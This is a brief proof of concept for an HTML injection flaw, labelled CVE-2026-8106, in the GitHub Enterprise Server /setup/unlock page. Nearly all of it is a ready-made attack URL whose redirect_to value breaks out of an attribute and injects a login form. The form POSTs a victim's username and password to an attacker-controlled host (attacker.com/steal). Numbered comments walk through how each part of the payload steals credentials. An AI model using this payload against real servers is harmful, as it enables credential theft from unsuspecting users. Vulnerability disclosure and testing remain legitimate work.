CVE-2026-8106 GitHub Enterprise Server HTML注入漏洞

<!-- Proof of Concept for CVE-2026-8106 --> <!-- Target Endpoint: /setup/unlock --> <!-- Vulnerable Parameter: redirect_to --> <!-- Attack Scenario: Injecting a form to steal credentials --> <!-- The payload breaks out of the HTML attribute and injects a new form --> <!-- Example URL --> <!-- https://[TARGET-IP]/setup/unlock?redirect_to="><form action=http://attacker.com/steal method=POST><input name=user><input name=pass><input type=submit></form> --> <!-- HTML Injection Payload Explanation --> <!-- 1. "> closes the existing attribute and the HTML tag --> <!-- 2. <form...> injects a malicious form that sends data to an external server --> <!-- 3. When the victim types their credentials, they are sent to the attacker -->